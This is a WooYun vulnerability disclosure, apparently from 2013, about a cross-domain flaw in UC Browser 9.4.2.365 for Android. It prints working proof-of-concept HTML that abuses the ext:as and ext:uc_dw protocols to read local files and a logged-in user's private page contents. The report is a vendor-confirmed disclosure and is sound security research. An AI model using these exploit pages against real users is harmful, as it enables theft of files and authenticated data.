当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-046757

漏洞标题:UC浏览器窃取本地文件和任意http域内容

相关厂商:UC Mobile

漏洞作者: 爱梅小礼

提交时间:2013-12-23 10:21

修复时间:2014-03-23 10:22

公开时间:2014-03-23 10:22

漏洞类型:非授权访问/认证绕过

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-23: 细节已通知厂商并且等待厂商处理中
2013-12-23: 厂商已经确认,细节仅向厂商公开
2013-12-26: 细节向第三方安全合作伙伴开放
2014-02-16: 细节向核心白帽子及相关领域专家公开
2014-02-26: 细节向普通白帽子公开
2014-03-08: 细节向实习白帽子公开
2014-03-23: 细节向公众公开

简要描述:

这次带来了两个弱点,一个是跨本地域,另一个是本地域可以执行的new payload。
(感谢wooyun和厂商给的price,本想留着些漏洞等过年以后再提交呢,为了表达谢意,我也不能老是留着)

详细说明:

测试版本:9.4.2.365
本次问题是ext:as协议引起的http->file的跨域:

<iframe src=ext:as:navi_online_index-479*1248-U90888:file:///mnt/sdcard/payload.html></iframe>


它能做什么完全取决于file域的权限了,例如可以窃取本地文件。可参考 WooYun: UC浏览器跨本地域漏洞可获取本地文件内容 中的exp和payload代码,经测试也是可以的,几乎可以复制,此处不再赘述。
而今天我要发的payload是file->http跨域弱点,自从 WooYun: UC浏览器跨本地域XSS可盗取任意域Cookie 之后,UC修补了这个弱点,file域再也无法获取到http域的任何内容(document.getElementById.contentDocument不再能获取到远程iframe的句柄),但这种限制可以间接绕过:UC内置协议ext:uc_dw可以无提示地下载任意类型的文件,而且request是带着相应cookie的,并保存在固定目录,下载文件名也是可预测的。所以思路就是使用ext:uc_dw把想要读取的内容下载到本地,然后再读取本地文件(file域读取file域没有限制)。

漏洞证明:

http协议远程访问exp.html 先将payload.html下载到本地,五秒钟等待下载完毕 再用ext:as跨域去执行它。
exp.html内容:

<html>
<body>
<iframe src=ext:uc_dw:http://127.0.0.1:8888/payload.html></iframe>
</body>
<script>
setTimeout("document.body.innerHTML='<iframe src=ext:as:navi_online_index-479*1248-U90888:file:///mnt/sdcard/payload.html></iframe>'",5000);
</script>
</html>


假设http://m.baidu.com/是用户只有登录过才能看到的持有cookie的私有页面,为保证这一点,我用自己的id登录了百度(右上角的id):

QQ截图20131222203154.png


payload.html是exp.html下载到本地执行的,它先下载http://m.baidu.com/内容并自动保存到/mnt/sdcard/UCDownloads/index.html,然后再读取它:

<html>
<body>
<iframe src=ext:uc_dw:http://m.baidu.com/></iframe>
</body>
<script>
function inject(){
var d = document.getElementById("hi").contentDocument || document.getElementById("hi").contentWindow.document
alert(d.body.innerHTML);
}
setTimeout("document.body.innerHTML='<iframe id=hi src=file:///mnt/sdcard/UCDownloads/index.html onload=inject()></iframe>'",5000);
</script>
</html>


执行效果如下:
exp.html会先下载payload.html

QQ截图20131222203431.png


五秒后payload.html会再下载http://m.baidu.com/内容并命名为index.html文件:

QQ截图20131222203633.png


payload.html读取index.html,从页面中的ID来看,确实是用户登录后的私有页面,而不是人人都能看到的前台页面:

QQ截图20131222202652.png


证明完毕,才发现我书面表达能力太差了。

修复方案:

哥,你懂

版权声明:转载请注明来源 爱梅小礼@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-12-23 11:44

厂商回复:

经验证,漏洞存在,非常感谢爱梅小礼提供的漏洞信息!

最新状态:

暂无